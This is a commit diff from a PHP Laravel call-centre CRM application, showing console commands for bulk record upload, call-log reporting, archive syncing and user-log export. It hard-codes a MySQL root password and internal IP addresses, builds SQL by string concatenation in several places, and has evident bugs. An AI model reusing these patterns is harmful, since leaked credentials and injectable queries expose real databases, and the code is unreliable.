latest changes and new features
Showing
904 changed files
with
6267 additions
and
10525 deletions
application/app/Console/.Kernel.php.swn
100755 → 100644
No preview for this file type
application/app/Console/.Kernel.php.swo
100755 → 100644
No preview for this file type
application/app/Console/.Kernel.php.swp
100755 → 100644
No preview for this file type
| 1 | <?php namespace App\Console\Commands; | ||
| 2 | |||
| 3 | use Illuminate\Console\Command; | ||
| 4 | //use Mail; | ||
| 5 | use DB; | ||
| 6 | use Config; | ||
| 7 | |||
| 8 | use App\Models\User; | ||
| 9 | use App\Models\Accesslog; | ||
| 10 | |||
| 11 | use App\Models\CRMCall; | ||
| 12 | use Schema; | ||
| 13 | use PDO; | ||
| 14 | use App\Models\Notification; | ||
| 15 | use App\Jobs\KHRMSLib; | ||
| 16 | |||
| 17 | use Input; | ||
| 18 | |||
| 19 | use Illuminate\Database\Schema\Blueprint; | ||
| 20 | |||
| 21 | class bulkServerUpload extends Command { | ||
| 22 | |||
| 23 | /** | ||
| 24 | * The console command name. | ||
| 25 | * | ||
| 26 | * @var string | ||
| 27 | */ | ||
| 28 | protected $signature = 'bulkServerUpload'; | ||
| 29 | |||
| 30 | /** | ||
| 31 | * The console command description. | ||
| 32 | * | ||
| 33 | * @var string | ||
| 34 | */ | ||
| 35 | protected $description = 'bulkServerUpload'; | ||
| 36 | |||
| 37 | /** | ||
| 38 | * Execute the console command. | ||
| 39 | * | ||
| 40 | * @return mixed | ||
| 41 | */ | ||
| 42 | public function handle() | ||
| 43 | { | ||
| 44 | echo "\n".date('Y-m-d')."\n"; | ||
| 45 | |||
| 46 | $wakka = new KHRMSLib(); | ||
| 47 | |||
| 48 | $kformlib=new \App\Jobs\KFormLib($wakka->HRCoreVars["HRFiledsStr"]); | ||
| 49 | $kformlib->gthis=$wakka; | ||
| 50 | |||
| 51 | $themehome=$wakka->GetThemePath('/'); | ||
| 52 | $updatetime=time(); | ||
| 53 | |||
| 54 | $clientlst=$wakka->GetBBBUserData("clientslist"); | ||
| 55 | |||
| 56 | $isadmin=$wakka->IsAdmin(); | ||
| 57 | $username=$wakka->GetUserName(); | ||
| 58 | $triggers=Input::get("triggers"); | ||
| 59 | $tmpstr=explode(",",$kformlib->HRFiledsStr); | ||
| 60 | |||
| 61 | $success="";$message="";$successcnt=0;$duplicatecount=0; | ||
| 62 | |||
| 63 | |||
| 64 | $conn = array( | ||
| 65 | 'driver' => 'mysql', | ||
| 66 | 'host' => '10.3.177.14', | ||
| 67 | 'database' => env('DB_DATABASE', 'kstych_flexydial'), | ||
| 68 | 'username' => env('DB_USERNAME', 'root'), | ||
| 69 | 'password' => env('DB_PASSWORD', 'yb9738z'), | ||
| 70 | 'charset' => 'utf8', | ||
| 71 | 'collation' => 'utf8_unicode_ci', | ||
| 72 | 'prefix' => '', | ||
| 73 | 'options' => array( | ||
| 74 | PDO::ATTR_TIMEOUT => 5, | ||
| 75 | ), | ||
| 76 | ); | ||
| 77 | Config::set("database.connections.conn", $conn); | ||
| 78 | |||
| 79 | DB::connection("conn")->getDatabaseName(); | ||
| 80 | |||
| 81 | // $excelarray = DB::table('bz_record_upload_uat')->select('*')->get(); | ||
| 82 | |||
| 83 | $excelarray = DB::connection("conn")->select(DB::raw("select * from bz_record_upload_uat limit 1")); | ||
| 84 | $excelarray = (array)$excelarray; | ||
| 85 | |||
| 86 | $highestColumn = DB::connection("conn")->select(DB::raw("select count(*) from information_schema.columns where table_name='bz_record_upload_uat'")); | ||
| 87 | $highestrow = count($excelarray); | ||
| 88 | echo $highestColumn; | ||
| 89 | $flag = 0; | ||
| 90 | $editflag=0; | ||
| 91 | |||
| 92 | for($i=0;$i<=$highestrow;$i++) | ||
| 93 | { | ||
| 94 | if($excelarray[$i]["id"]!="") | ||
| 95 | { | ||
| 96 | if($excelarray[$i]["id"]=="CREATE") | ||
| 97 | { | ||
| 98 | $excelarray[$i]["id"]=$wakka->Query("insert into","","records_demo",array('created'=>date('Y-m-d H:i:s'))); | ||
| 99 | } | ||
| 100 | else $excelarray[$i]["id"]=intval($excelarray[$i]["id"]); | ||
| 101 | |||
| 102 | if($wakka->getCount("records_demo","id='".$excelarray[$i]["id"]."'")==1) | ||
| 103 | { | ||
| 104 | $empdata=$wakka->getPersonServer($excelarray[$i]["id"]); | ||
| 105 | $ppldata=$empdata["peopledata"]; | ||
| 106 | $createdlog=$empdata['modifylog']; | ||
| 107 | $fdirty=$empdata['dirty']; | ||
| 108 | |||
| 109 | $createdlog[$updatetime]=$username."::"; | ||
| 110 | $createdlog["updated"]=$updatetime; | ||
| 111 | |||
| 112 | $newdata=$ppldata; | ||
| 113 | foreach($excelarray[$i] as $key => $value) | ||
| 114 | { | ||
| 115 | if($value!="") | ||
| 116 | { | ||
| 117 | if("A".$ppldata[$key]!="A".$value)//forcing string comparrision //MAGIC | ||
| 118 | { | ||
| 119 | $value=str_replace("'"," ",$value); | ||
| 120 | if(strstr($createdlog[$updatetime],$key)==FALSE)$createdlog[$updatetime].="$key|".str_replace(array("|",",")," ",$ppldata[$key])."|".str_replace(array("|",",")," ",$value).","; | ||
| 121 | |||
| 122 | $fdirty[$key]=1; | ||
| 123 | |||
| 124 | $newdata[$key]=$value; | ||
| 125 | } | ||
| 126 | } | ||
| 127 | } | ||
| 128 | $empdata["peopledata"]=$newdata; | ||
| 129 | $empdata['modifylog']=$createdlog; | ||
| 130 | $empdata['dirty']=$fdirty; | ||
| 131 | |||
| 132 | $wakka->setPersonServer($excelarray[$i]["id"],$empdata); | ||
| 133 | $excelarray[$i]['modified']=date('Y-m-d H:i:s'); | ||
| 134 | |||
| 135 | } | ||
| 136 | } | ||
| 137 | |||
| 138 | } | ||
| 139 | mysqli_close($conn); | ||
| 140 | |||
| 141 | } | ||
| 142 | } | ||
| 143 | |||
| 144 | |||
| 145 | |||
| 146 |
| 1 | <?php namespace App\Console\Commands; | ||
| 2 | |||
| 3 | use Illuminate\Console\Command; | ||
| 4 | //use Mail; | ||
| 5 | use DB; | ||
| 6 | use Config; | ||
| 7 | |||
| 8 | use App\Models\User; | ||
| 9 | use App\Models\Accesslog; | ||
| 10 | |||
| 11 | use App\Models\CRMCall; | ||
| 12 | use Schema; | ||
| 13 | use PDO; | ||
| 14 | use App\Models\Notification; | ||
| 15 | use App\Jobs\KHRMSLib; | ||
| 16 | |||
| 17 | use Input; | ||
| 18 | |||
| 19 | use Illuminate\Database\Schema\Blueprint; | ||
| 20 | |||
| 21 | class bulkServerUpload extends Command { | ||
| 22 | |||
| 23 | /** | ||
| 24 | * The console command name. | ||
| 25 | * | ||
| 26 | * @var string | ||
| 27 | */ | ||
| 28 | protected $signature = 'bulkServerUpload'; | ||
| 29 | |||
| 30 | /** | ||
| 31 | * The console command description. | ||
| 32 | * | ||
| 33 | * @var string | ||
| 34 | */ | ||
| 35 | protected $description = 'bulkServerUpload'; | ||
| 36 | |||
| 37 | /** | ||
| 38 | * Execute the console command. | ||
| 39 | * | ||
| 40 | * @return mixed | ||
| 41 | */ | ||
| 42 | public function handle() | ||
| 43 | { | ||
| 44 | |||
| 45 | echo "\n".date('Y-m-d')."\n"; | ||
| 46 | |||
| 47 | $wakka = new KHRMSLib(); | ||
| 48 | |||
| 49 | $kformlib=new \App\Jobs\KFormLib($wakka->HRCoreVars["HRFiledsStr"]); | ||
| 50 | $kformlib->gthis=$wakka; | ||
| 51 | |||
| 52 | $themehome=$wakka->GetThemePath('/'); | ||
| 53 | $updatetime=time(); | ||
| 54 | |||
| 55 | $clientlst=$wakka->GetBBBUserData("clientslist"); | ||
| 56 | |||
| 57 | $isadmin=$wakka->IsAdmin(); | ||
| 58 | $username=$wakka->GetUserName(); | ||
| 59 | $triggers=Input::get("triggers"); | ||
| 60 | $tmpstr=explode(",",$kformlib->HRFiledsStr); | ||
| 61 | |||
| 62 | $success="";$message="";$successcnt=0;$duplicatecount=0; | ||
| 63 | |||
| 64 | |||
| 65 | $conn = array( | ||
| 66 | 'driver' => 'mysql', | ||
| 67 | 'host' => '10.3.177.14', | ||
| 68 | 'database' => env('DB_DATABASE', 'kstych_flexydial'), | ||
| 69 | 'username' => env('DB_USERNAME', 'root'), | ||
| 70 | 'password' => env('DB_PASSWORD', 'yb9738z'), | ||
| 71 | 'charset' => 'utf8', | ||
| 72 | 'collation' => 'utf8_unicode_ci', | ||
| 73 | 'prefix' => '', | ||
| 74 | 'options' => array( | ||
| 75 | PDO::ATTR_TIMEOUT => 5, | ||
| 76 | ), | ||
| 77 | ); | ||
| 78 | Config::set("database.connections.conn", $conn); | ||
| 79 | |||
| 80 | DB::connection("conn")->getDatabaseName(); | ||
| 81 | |||
| 82 | $excelarray = DB::connection("conn")->select(DB::raw("select * from bz_record_upload_uat_080117 where SERVER_IP='10.3.179.121' and ins_date>'2016-11-29' order by auto_id asc limit 0,20000")); | ||
| 83 | |||
| 84 | foreach($excelarray as $key => $array){ | ||
| 85 | $excelarray[$key] = (array)$array; | ||
| 86 | } | ||
| 87 | |||
| 88 | $highestColumn = DB::connection("conn")->select(DB::raw("select count(*) as cnt from information_schema.columns where table_name='bz_record_upload_uat_080117'")); | ||
| 89 | $highestColumn = $highestColumn[0]->cnt; | ||
| 90 | |||
| 91 | $highestrow = count($excelarray); | ||
| 92 | |||
| 93 | $flag = 0; | ||
| 94 | $editflag=0; | ||
| 95 | |||
| 96 | for($i=0;$i<=$highestrow;$i++) | ||
| 97 | { | ||
| 98 | if($excelarray[$i]["id"]!="") | ||
| 99 | { | ||
| 100 | if($excelarray[$i]["id"]=="CREATE") | ||
| 101 | { | ||
| 102 | $excelarray[$i]["id"]=$wakka->Query("insert into","","records_demo",array('created'=>date('Y-m-d H:i:s'))); | ||
| 103 | } | ||
| 104 | else $excelarray[$i]["id"]=intval($excelarray[$i]["id"]); | ||
| 105 | |||
| 106 | if($wakka->getCount("records_demo","id='".$excelarray[$i]["id"]."'")==1) | ||
| 107 | { | ||
| 108 | $empdata=$wakka->getPersonServer($excelarray[$i]["id"]); | ||
| 109 | $ppldata=$empdata["peopledata"]; | ||
| 110 | $createdlog=$empdata['modifylog']; | ||
| 111 | $fdirty=$empdata['dirty']; | ||
| 112 | |||
| 113 | $createdlog[$updatetime]=$username."::"; | ||
| 114 | $createdlog["updated"]=$updatetime; | ||
| 115 | |||
| 116 | $newdata=$ppldata; | ||
| 117 | foreach($excelarray[$i] as $key => $value) | ||
| 118 | { | ||
| 119 | if($value!="") | ||
| 120 | { | ||
| 121 | if("A".$ppldata[$key]!="A".$value)//forcing string comparrision //MAGIC | ||
| 122 | { | ||
| 123 | $value=str_replace("'"," ",$value); | ||
| 124 | if(strstr($createdlog[$updatetime],$key)==FALSE)$createdlog[$updatetime].="$key|".str_replace(array("|",",")," ",$ppldata[$key])."|".str_replace(array("|",",")," ",$value).","; | ||
| 125 | |||
| 126 | $fdirty[$key]=1; | ||
| 127 | |||
| 128 | $newdata[$key]=$value; | ||
| 129 | } | ||
| 130 | } | ||
| 131 | } | ||
| 132 | |||
| 133 | /*Start - Changes need to be done*/ | ||
| 134 | |||
| 135 | if($excelarray[$i]["status"]==null) | ||
| 136 | { | ||
| 137 | $newdata['status'] = ""; | ||
| 138 | } | ||
| 139 | |||
| 140 | if($excelarray[$i]["dialer_status"]==null) | ||
| 141 | { | ||
| 142 | $newdata['dialer_status'] = ""; | ||
| 143 | } | ||
| 144 | |||
| 145 | if($excelarray[$i]["dialer_substatus"]==null) | ||
| 146 | { | ||
| 147 | $newdata['dialer_substatus'] = ""; | ||
| 148 | } | ||
| 149 | |||
| 150 | /*End - Changes need to be done*/ | ||
| 151 | |||
| 152 | $empdata["peopledata"]=$newdata; | ||
| 153 | $empdata['modifylog']=$createdlog; | ||
| 154 | $empdata['dirty']=$fdirty; | ||
| 155 | |||
| 156 | $wakka->setPersonServer($excelarray[$i]["id"],$empdata); | ||
| 157 | $excelarray[$i]['modified']=date('Y-m-d H:i:s'); | ||
| 158 | $successArr[] = $excelarray[$i]; | ||
| 159 | |||
| 160 | } | ||
| 161 | } | ||
| 162 | else | ||
| 163 | { | ||
| 164 | $reason = ""; | ||
| 165 | |||
| 166 | if($excelarray[$i]["id"]=="") | ||
| 167 | $reason .= "Column ID is blank,"; | ||
| 168 | |||
| 169 | $excelarray[$i]['server_ip'] = $server_ip; | ||
| 170 | $excelarray[$i]['location'] = $location; | ||
| 171 | |||
| 172 | if($excelarray[$i]["clientcode"]!="") | ||
| 173 | $excelarray[$i]['cust_id'] = $excelarray[$i]["clientcode"]; | ||
| 174 | |||
| 175 | $excelarray[$i]['Reason'] = $reason; | ||
| 176 | |||
| 177 | $failureArr[] = $excelarray[$i]; | ||
| 178 | } | ||
| 179 | |||
| 180 | } | ||
| 181 | |||
| 182 | if(!empty($successArr)){ | ||
| 183 | foreach($successArr as $succes) | ||
| 184 | { | ||
| 185 | $setSuccess=array(); | ||
| 186 | |||
| 187 | $setSuccess[] = "server_ip='$server_ip'"; | ||
| 188 | $setSuccess[] = "location='$location'"; | ||
| 189 | $setSuccess[] = "record_id='".$succes['id']."'"; | ||
| 190 | $setSuccess[] = "cust_id='".$succes['clientcode']."'"; | ||
| 191 | $setSuccess[] = "modified='".$succes['modified']."'"; | ||
| 192 | |||
| 193 | $setSuccess = implode(",",$setSuccess); | ||
| 194 | |||
| 195 | DB::connection("conn")->insert(DB::raw("insert into bz_record_upload_uat_success set $setSuccess")); | ||
| 196 | } | ||
| 197 | } | ||
| 198 | |||
| 199 | if(!empty($failureArr)){ | ||
| 200 | foreach($failureArr as $failur) | ||
| 201 | { | ||
| 202 | $setFailure=array(); | ||
| 203 | |||
| 204 | $setFailure[] = "server_ip='$server_ip'"; | ||
| 205 | $setFailure[] = "location='$location'"; | ||
| 206 | $setFailure[] = "cust_id='".$failur['clientcode']."'"; | ||
| 207 | $setFailure[] = "reason='".$failur['Reason']."'"; | ||
| 208 | |||
| 209 | $setFailure = implode(",",$setFailure); | ||
| 210 | |||
| 211 | DB::connection("conn")->insert(DB::raw("insert into bz_record_upload_uat_failure set $setFailure")); | ||
| 212 | } | ||
| 213 | } | ||
| 214 | |||
| 215 | DB::connection("conn")->disconnect(); | ||
| 216 | |||
| 217 | |||
| 218 | } | ||
| 219 | } | ||
| ... | \ No newline at end of file | ... | \ No newline at end of file |
| 1 | <?php namespace App\Console\Commands; | ||
| 2 | |||
| 3 | use Illuminate\Console\Command; | ||
| 4 | //use Mail; | ||
| 5 | use DB; | ||
| 6 | use Config; | ||
| 7 | |||
| 8 | use App\Models\User; | ||
| 9 | use App\Models\Accesslog; | ||
| 10 | |||
| 11 | use App\Models\CRMCall; | ||
| 12 | use Schema; | ||
| 13 | use PDO; | ||
| 14 | use App\Models\Notification; | ||
| 15 | use App\Jobs\KHRMSLib; | ||
| 16 | |||
| 17 | use Input; | ||
| 18 | |||
| 19 | use Illuminate\Database\Schema\Blueprint; | ||
| 20 | |||
| 21 | class bulkServerUpload extends Command { | ||
| 22 | |||
| 23 | /** | ||
| 24 | * The console command name. | ||
| 25 | * | ||
| 26 | * @var string | ||
| 27 | */ | ||
| 28 | protected $signature = 'bulkServerUpload'; | ||
| 29 | |||
| 30 | /** | ||
| 31 | * The console command description. | ||
| 32 | * | ||
| 33 | * @var string | ||
| 34 | */ | ||
| 35 | protected $description = 'bulkServerUpload'; | ||
| 36 | |||
| 37 | /** | ||
| 38 | * Execute the console command. | ||
| 39 | * | ||
| 40 | * @return mixed | ||
| 41 | */ | ||
| 42 | public function handle() | ||
| 43 | { | ||
| 44 | |||
| 45 | $wakka = new KHRMSLib(); | ||
| 46 | |||
| 47 | $kformlib=new \App\Jobs\KFormLib($wakka->HRCoreVars["HRFiledsStr"]); | ||
| 48 | $kformlib->gthis=$wakka; | ||
| 49 | |||
| 50 | $themehome=$wakka->GetThemePath('/'); | ||
| 51 | $updatetime=time(); | ||
| 52 | |||
| 53 | $clientlst=$wakka->GetBBBUserData("clientslist"); | ||
| 54 | |||
| 55 | $isadmin=$wakka->IsAdmin(); | ||
| 56 | $username=$wakka->GetUserName(); | ||
| 57 | $triggers=Input::get("triggers"); | ||
| 58 | $tmpstr=explode(",",$kformlib->HRFiledsStr); | ||
| 59 | |||
| 60 | $success="";$message="";$successcnt=0;$duplicatecount=0; | ||
| 61 | |||
| 62 | |||
| 63 | $conn = array( | ||
| 64 | 'driver' => 'mysql', | ||
| 65 | 'host' => '10.3.177.14', | ||
| 66 | 'database' => env('DB_DATABASE', 'kstych_flexydial'), | ||
| 67 | 'username' => env('DB_USERNAME', 'root'), | ||
| 68 | 'password' => env('DB_PASSWORD', 'yb9738z'), | ||
| 69 | 'charset' => 'utf8', | ||
| 70 | 'collation' => 'utf8_unicode_ci', | ||
| 71 | 'prefix' => '', | ||
| 72 | 'options' => array( | ||
| 73 | PDO::ATTR_TIMEOUT => 5, | ||
| 74 | ), | ||
| 75 | ); | ||
| 76 | Config::set("database.connections.conn", $conn); | ||
| 77 | |||
| 78 | DB::connection("conn")->getDatabaseName(); | ||
| 79 | |||
| 80 | $excelarray = DB::connection("conn")->select(DB::raw("select * from bz_record_upload_uat where SERVER_IP='10.3.179.121' and client='G4015' order by auto_id asc limit 0,20000")); | ||
| 81 | |||
| 82 | foreach($excelarray as $key => $array){ | ||
| 83 | $excelarray[$key] = (array)$array; | ||
| 84 | } | ||
| 85 | |||
| 86 | $highestColumn = DB::connection("conn")->select(DB::raw("select count(*) as cnt from information_schema.columns where table_name='bz_record_upload_uat'")); | ||
| 87 | $highestColumn = $highestColumn[0]->cnt; | ||
| 88 | |||
| 89 | $highestrow = count($excelarray); | ||
| 90 | |||
| 91 | $flag = 0; | ||
| 92 | $editflag=0; | ||
| 93 | |||
| 94 | for($i=0;$i<=$highestrow;$i++) | ||
| 95 | { | ||
| 96 | if($excelarray[$i]["id"]!="") | ||
| 97 | { | ||
| 98 | if($excelarray[$i]["id"]=="CREATE") | ||
| 99 | { | ||
| 100 | $excelarray[$i]["id"]=$wakka->Query("insert into","","records",array('created'=>date('Y-m-d H:i:s'))); | ||
| 101 | } | ||
| 102 | else $excelarray[$i]["id"]=intval($excelarray[$i]["id"]); | ||
| 103 | |||
| 104 | if($wakka->getCount("records","id='".$excelarray[$i]["id"]."'")==1) | ||
| 105 | { | ||
| 106 | $empdata=$wakka->getPerson($excelarray[$i]["id"]); | ||
| 107 | $ppldata=$empdata["peopledata"]; | ||
| 108 | $createdlog=$empdata['modifylog']; | ||
| 109 | $fdirty=$empdata['dirty']; | ||
| 110 | |||
| 111 | $createdlog[$updatetime]=$username."::"; | ||
| 112 | $createdlog["updated"]=$updatetime; | ||
| 113 | |||
| 114 | $newdata=$ppldata; | ||
| 115 | foreach($excelarray[$i] as $key => $value) | ||
| 116 | { | ||
| 117 | if($value!="") | ||
| 118 | { | ||
| 119 | if("A".$ppldata[$key]!="A".$value)//forcing string comparrision //MAGIC | ||
| 120 | { | ||
| 121 | $value=str_replace("'"," ",$value); | ||
| 122 | if(strstr($createdlog[$updatetime],$key)==FALSE)$createdlog[$updatetime].="$key|".str_replace(array("|",",")," ",$ppldata[$key])."|".str_replace(array("|",",")," ",$value).","; | ||
| 123 | |||
| 124 | $fdirty[$key]=1; | ||
| 125 | |||
| 126 | $newdata[$key]=$value; | ||
| 127 | } | ||
| 128 | } | ||
| 129 | } | ||
| 130 | $empdata["peopledata"]=$newdata; | ||
| 131 | $empdata['modifylog']=$createdlog; | ||
| 132 | $empdata['dirty']=$fdirty; | ||
| 133 | |||
| 134 | $wakka->setPerson($excelarray[$i]["id"],$empdata); | ||
| 135 | $excelarray[$i]['modified']=date('Y-m-d H:i:s'); | ||
| 136 | |||
| 137 | } | ||
| 138 | } | ||
| 139 | |||
| 140 | } | ||
| 141 | mysqli_close($conn); | ||
| 142 | |||
| 143 | |||
| 144 | } | ||
| 145 | } | ||
| 146 | |||
| 147 | |||
| 148 | |||
| 149 |
application/app/Console/13jul17_Commands/CreportEight.php
→
application/app/Console/181017_Commands/CreportEight.php
100755 → 100644
| ... | @@ -43,12 +43,13 @@ class CreportEight extends Command { | ... | @@ -43,12 +43,13 @@ class CreportEight extends Command { |
| 43 | $logdate=strtotime('0 day'); | 43 | $logdate=strtotime('0 day'); |
| 44 | 44 | ||
| 45 | $tcol=0;$fieldsarr=array();$extrahdrarr=array(); | 45 | $tcol=0;$fieldsarr=array();$extrahdrarr=array(); |
| 46 | $server_id="08"; | 46 | $central_ip=env('central_ip'); |
| 47 | $server_ip=env('app_ip'); | ||
| 47 | $calllog_report = "calllog_report_".date("d_m_Y"); | 48 | $calllog_report = "calllog_report_".date("d_m_Y"); |
| 48 | 49 | ||
| 49 | $conn = array( | 50 | $conn = array( |
| 50 | 'driver' => 'mysql', | 51 | 'driver' => 'mysql', |
| 51 | 'host' => '10.3.177.14', | 52 | 'host' => $central_ip, |
| 52 | 'database' => env('DB_DATABASE', 'kstych_flexydial'), | 53 | 'database' => env('DB_DATABASE', 'kstych_flexydial'), |
| 53 | 'username' => env('DB_USERNAME', 'root'), | 54 | 'username' => env('DB_USERNAME', 'root'), |
| 54 | 'password' => env('DB_PASSWORD', ''), | 55 | 'password' => env('DB_PASSWORD', ''), |
| ... | @@ -63,6 +64,12 @@ class CreportEight extends Command { | ... | @@ -63,6 +64,12 @@ class CreportEight extends Command { |
| 63 | 64 | ||
| 64 | DB::connection("conn")->getDatabaseName(); | 65 | DB::connection("conn")->getDatabaseName(); |
| 65 | 66 | ||
| 67 | $serverclist=DB::connection("conn")->select(DB::raw("select id from server_details where server_ip='$server_ip'")); | ||
| 68 | $server_id=$serverclist[0]->id; | ||
| 69 | if($server_id<10){ | ||
| 70 | $server_id="0".$server_id; | ||
| 71 | } | ||
| 72 | |||
| 66 | 73 | ||
| 67 | $maxid=DB::connection("conn")->select(DB::raw("SELECT max(crmcall_id) as maxid from $calllog_report where server='$server_id'")); | 74 | $maxid=DB::connection("conn")->select(DB::raw("SELECT max(crmcall_id) as maxid from $calllog_report where server='$server_id'")); |
| 68 | 75 | ... | ... |
application/app/Console/13jul17_Commands/DailyLogout.php
→
application/app/Console/181017_Commands/DailyLogout.php
100755 → 100644
File mode changed
application/app/Console/13jul17_Commands/DeleteCrmcalls.php
→
application/app/Console/181017_Commands/DeleteCrmcalls.php
100755 → 100644
File mode changed
application/app/Console/13jul17_Commands/InsertCrmArchive.php
→
application/app/Console/181017_Commands/InsertCrmArchive.php
100755 → 100644
| ... | @@ -49,6 +49,8 @@ class InsertCrmArchive extends Command { | ... | @@ -49,6 +49,8 @@ class InsertCrmArchive extends Command { |
| 49 | 49 | ||
| 50 | DB::insert(DB::raw("insert into crmcalls_archive select * from crmcalls where id>(select max(id) from crmcalls_archive)")); | 50 | DB::insert(DB::raw("insert into crmcalls_archive select * from crmcalls where id>(select max(id) from crmcalls_archive)")); |
| 51 | 51 | ||
| 52 | DB::update(DB::raw("UPDATE crmcalls_archive as ca INNER JOIN crmcalls as c on ca.id = c.id set ca.state = c.state,ca.statuscode = c.statuscode,ca.status = c.status,ca.substatus = c.substatus,ca.callSec = c.callSec,ca.ts_Talk = c.ts_Talk,ca.ts_Recstart = c.ts_Recstart,ca.ts_Recend = c.ts_Recend,ca.ts_Dispo = c.ts_Dispo,ca.ts_Close = c.ts_Close,ca.dispoSec = c.dispoSec,ca.recstartSec=c.recstartSec,ca.data = c.data,ca.recsize = c.recsize,ca.userstatus = c.userstatus,ca.usersubstatus = c.usersubstatus,ca.usercallback = c.usercallback ,ca.userremarks = c.userremarks")); | ||
| 53 | |||
| 52 | echo 'End'; | 54 | echo 'End'; |
| 53 | } | 55 | } |
| 54 | } | 56 | } | ... | ... |
application/app/Console/13jul17_Commands/KstychARP.php
→
application/app/Console/181017_Commands/KstychARP.php
100755 → 100644
File mode changed
application/app/Console/13jul17_Commands/KstychDaily.php
→
application/app/Console/181017_Commands/KstychDaily.php
100755 → 100644
File mode changed
application/app/Console/13jul17_Commands/KstychPAGI.php
→
application/app/Console/181017_Commands/KstychPAGI.php
100755 → 100644
File mode changed
application/app/Console/13jul17_Commands/KstychPAMI.php
→
application/app/Console/181017_Commands/KstychPAMI.php
100755 → 100644
File mode changed
| 1 | <?php namespace App\Console\Commands; | ||
| 2 | |||
| 3 | use Illuminate\Console\Command; | ||
| 4 | use DB; | ||
| 5 | use Config; | ||
| 6 | |||
| 7 | use App\Models\User; | ||
| 8 | use App\Models\Accesslog; | ||
| 9 | |||
| 10 | use App\Models\CRMCall; | ||
| 11 | use Schema; | ||
| 12 | use PDO; | ||
| 13 | |||
| 14 | use Illuminate\Database\Schema\Blueprint; | ||
| 15 | |||
| 16 | class Userlog_data extends Command { | ||
| 17 | |||
| 18 | /** | ||
| 19 | * The console command name. | ||
| 20 | * | ||
| 21 | * @var string | ||
| 22 | */ | ||
| 23 | protected $signature = 'Userlog_data'; | ||
| 24 | |||
| 25 | /** | ||
| 26 | * The console command description. | ||
| 27 | * | ||
| 28 | * @var string | ||
| 29 | */ | ||
| 30 | protected $description = 'Userlog_data'; | ||
| 31 | |||
| 32 | /** | ||
| 33 | * Execute the console command. | ||
| 34 | * | ||
| 35 | * @return mixed | ||
| 36 | */ | ||
| 37 | public function handle() | ||
| 38 | { | ||
| 39 | $nowts=time(); | ||
| 40 | echo "\n".date('Y-m-d')."\n"; | ||
| 41 | |||
| 42 | $logdate=strtotime('-1 day'); | ||
| 43 | $tcol=0;$fieldsarr=array();$extrahdrarr=array(); | ||
| 44 | $server_ip=env('app_ip'); | ||
| 45 | $central_ip=env('central_ip'); | ||
| 46 | |||
| 47 | $conn = array( | ||
| 48 | 'driver' => 'mysql', | ||
| 49 | 'host' => $central_ip, | ||
| 50 | 'database' => env('DB_DATABASE', 'kstych_flexydial'), | ||
| 51 | 'username' => env('DB_USERNAME', 'root'), | ||
| 52 | 'password' => env('DB_PASSWORD', ''), | ||
| 53 | 'charset' => 'utf8', | ||
| 54 | 'collation' => 'utf8_unicode_ci', | ||
| 55 | 'prefix' => '', | ||
| 56 | 'options' => array( | ||
| 57 | PDO::ATTR_TIMEOUT => 5, | ||
| 58 | ), | ||
| 59 | ); | ||
| 60 | Config::set("database.connections.conn", $conn); | ||
| 61 | if(DB::connection("conn")->getDatabaseName()) | ||
| 62 | { | ||
| 63 | $serverclist=DB::connection("conn")->select(DB::raw("select id from server_details where server_ip='$server_ip'")); | ||
| 64 | $server_id=$serverclist[0]->id; | ||
| 65 | if($server_id<10){ | ||
| 66 | $server_id="0".$server_id; | ||
| 67 | } | ||
| 68 | |||
| 69 | |||
| 70 | $i=0; | ||
| 71 | |||
| 72 | |||
| 73 | $ulist=DB::select(DB::raw("select * from users WHERE 1")); | ||
| 74 | foreach($ulist as $uline) { | ||
| 75 | $users[$uline->id] = $uline->username; | ||
| 76 | } | ||
| 77 | if($alist=DB::select(DB::raw("select * from userlogs WHERE created_at>'".date("Y-m-d",$logdate)."' and created_at<'".date("Y-m-d",$logdate+24*60*60)."'"))){ | ||
| 78 | |||
| 79 | |||
| 80 | foreach($alist as $aline) { | ||
| 81 | $i++; | ||
| 82 | $global_id = $server_id . $i; | ||
| 83 | if($aline->enddate=='0000-00-00'|| $aline->endtime=='00:00:00' || $aline->durationsec=='0') | ||
| 84 | { | ||
| 85 | $enddatetime=date("Y-m-d H:i:s",strtotime($aline->updated_at)); | ||
| 86 | $enddate=explode(" ",$enddatetime)[0]; | ||
| 87 | $endtime=explode(" ",$enddatetime)[1]; | ||
| 88 | $durationsec=date("Y-m-d H:i:s",strtotime($endtime-$aline->starttime)); | ||
| 89 | } | ||
| 90 | else | ||
| 91 | { | ||
| 92 | $enddate=$aline->enddate; | ||
| 93 | $endtime=$aline->endtime; | ||
| 94 | $durationsec=$aline->durationsec; | ||
| 95 | } | ||
| 96 | |||
| 97 | $rowdata = array('server'=>$server_id,'server_ip'=>$server_ip,'global_id'=>$global_id,'id'=>$aline->id, | ||
| 98 | 'created_at'=>$aline->created_at,'updated_at'=>$aline->updated_at,'user_id'=>$aline->user_id,'user'=>$users[$aline->user_id], | ||
| 99 | 'startdate'=>$aline->startdate,'starttime'=>$aline->starttime,'enddate'=>$enddate,'endtime'=>$endtime, | ||
| 100 | 'durationsec'=>$durationsec,'data'=>$aline->data,'group'=>$aline->group,'login'=>'','dialnext'=>'','dialnext-agentbriefing'=>'','dialnext-downtime'=>'','dialnext-floorannouncements'=>'','dialnext-incoming'=>'','dialnext-lunchbreak'=>'','dialnext-manual'=>'','dialnext-notready'=>'','dialnext-qualityfeedback'=>'','dialnext-teabreak'=>'','dialnext-teammeeting'=>'','dialnext-utilitybreak'=>'','manual'=>'','manual-agentbriefing'=>'','manual-agentbriefing'=>'','manual-downtime'=>'','manual-floorannouncements'=>'','manual-incoming'=>'','manual-lunchbreak'=>'','manual-manual'=>'','manual-notready'=>'','manual-qualityfeedback'=>'','manual-teabreak'=>'','manual-teammeeting'=>'','manual-utilitybreak'=>'','paused'=>'','paused-agentbriefing'=>'','paused-downtime'=>'','paused-floorannouncements'=>'','paused-incoming'=>'','paused-lunchbreak'=>'','paused-manual'=>'','paused-notready'=>'','paused-qualityfeedback'=>'','paused-teabreak'=>'','paused-teammeeting'=>'','paused-utilitybreak'=>'','paused-autowrapup'=>'','paused-wrapup'=>'','progressive'=>'','progressive-agentbriefing'=>'','progressive-agentbriefing'=>'','progressive-downtime'=>'','progressive-floorannouncements'=>'','progressive-incoming'=>'','progressive-lunchbreak'=>'','progressive-manual'=>'','progressive-notready'=>'','progressive-qualityfeedback'=>'','progressive-teabreak'=>'','progressive-teammeeting'=>'','progressive-utilitybreak'=>'','ready-incoming'=>'' | ||
| 101 | ); | ||
| 102 | |||
| 103 | $data=json_decode($aline->data,true); | ||
| 104 | foreach($data as $sipid=>$sdata) | ||
| 105 | { | ||
